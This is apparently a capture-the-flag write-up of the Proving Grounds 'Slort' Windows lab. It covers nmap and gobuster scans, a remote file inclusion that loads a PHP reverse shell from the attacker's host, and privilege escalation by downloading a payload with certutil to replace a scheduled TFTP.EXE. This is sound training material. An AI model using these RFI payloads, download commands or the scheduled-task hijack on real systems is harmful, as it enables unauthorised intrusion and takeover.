PGP- SLORT- Intermediate

OS : Microsoft Windows 10 Pro ,OS Version: 10.0.19042 N/A Build 19042

IP : 192.168.214.53

raptorthehawk

============================================================ NMAP RESULTS:

nmap -sC -sV -A -T5 192.168.214.53 -Pn -p- --open 
Starting Nmap 7.95 ( <https://nmap.org> ) at 2026-03-06 11:43 IST
Warning: 192.168.214.53 giving up on port because retransmission cap hit (2).
Nmap scan report for 192.168.214.53
Host is up (0.076s latency).
Not shown: 59737 closed tcp ports (reset), 5784 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           FileZilla ftpd 0.9.41 beta
| ftp-syst: 
|_  SYST: UNIX emulated by FileZilla
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3306/tcp  open  mysql         MariaDB 10.3.24 or later (unauthorized)
4443/tcp  open  http          Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
| http-title: Welcome to XAMPP
|_Requested resource was <http://192.168.214.53:4443/dashboard/>
5040/tcp  open  unknown
8080/tcp  open  http          Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
| http-title: Welcome to XAMPP
|_Requested resource was <http://192.168.214.53:8080/dashboard/>
|_http-open-proxy: Proxy might be redirecting requests
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 10|2019|7|2008|8.1 (98%)
OS CPE: cpe:/o:microsoft:windows_10 cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8.1
Aggressive OS guesses: Microsoft Windows 10 1909 - 2004 (98%), Microsoft Windows 10 1909 (91%), Microsoft Windows Server 2019 (90%), Microsoft Windows 10 1903 - 21H1 (90%), Microsoft Windows 10 1709 - 21H2 (90%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 or Windows 8.1 (89%), Microsoft Windows 10 20H2 - 21H1 (88%), Microsoft Windows 10 21H2 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2026-03-06T06:18:41
|_  start_date: N/A
TRACEROUTE (using port 135/tcp)
HOP RTT      ADDRESS
1   87.42 ms 192.168.45.1
2   87.40 ms 192.168.45.254
3   83.49 ms 192.168.251.1
4   79.75 ms 192.168.214.53
OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 341.52 seconds

=============================================================

[ GOBUSTER]

gobuster dir -u <http://192.168.214.53:4443/> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

DIRECTORIES: / (Web Root)

80: /uploads/

/img (Status: 301) [Size: 345] [ → http://192.168.214.53:4443/img/] /site (Status: 301) [Size: 346] [ → http://192.168.214.53:4443/site/] /examples (Status: 503) [Size: 1060] /licenses (Status: 403) [Size: 1205] /dashboard (Status: 301) [Size: 351] [ → http://192.168.214.53:4443/dashboard/] /IMG (Status: 301) [Size: 345] [ → http://192.168.214.53:4443/IMG/] /Site (Status: 301) [Size: 346] [ → http://192.168.214.53:4443/Site/] /checkout (Status: 403) [Size: 1046] /Img (Status: 301) [Size: 345] [ → http://192.168.214.53:4443/Img/] /phpmyadmin (Status: 403) [Size: 1205] /webalizer (Status: 403) [Size: 1046] /docroot (Status: 403) [Size: 1046] /* (Status: 403) [Size: 1046] /con (Status: 403) [Size: 1046] /Dashboard (Status: 301) [Size: 351] [ → http://192.168.214.53:4443/Dashboard/] /**http%3a (Status: 403) [Size: 1046] /*http%3A (Status: 403) [Size: 1046] /xampp (Status: 301) [Size: 347] [ → http://192.168.214.53:4443/xampp/] /aux (Status: 403) [Size: 1046] /**http%3A (Status: 403) [Size: 1046] /SITE (Status: 301) [Size: 346] [ → http://192.168.214.53:4443/SITE/] /**http%3A%2F%2Fwww (Status: 403) [Size: 1046]

==============================================================

Initial Foothold :

the part index.php?page= ….. vulnerable to RFI by chceking and created a test.txt file on my attacking machine and then hosted the directory with a Python

Get Raptorthehawk’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

https://www.revshells.com/ — — ivan sincek PHP shell created reverseshell

http://192.168.214.53:4443/site/index.php?page=http://192.168.45.183/rev.php

whack!! we are in .

==============================================================

PRIV-ESC:

With user rupert , crawling through folders we see folder called backup. exploring the contents within and reading info.txt we see that the note mentions TFTP.EXE is executed every 5 minutes.

create and transfer the file certutil.exe -f -urlcache -split http://192.168.49.230/TFTP.EXE

then wait for 5 mins to get shell .Then change the admin pwd

Then with the psexec.py and with administrator new credentials get nt /authority

==============================================================Take Away Concepts:
Enumerate open services and identify the web application vulnerable to remote file inclusion.

• Exploit the RFI vulnerability to execute arbitrary commands on the target system.
• Deploy a reverse shell payload to establish persistent access to the target.
• Identify misconfigured permissions on files executed by a scheduled task.
• Replace the scheduled executable with a malicious payload to achieve privilege escalation.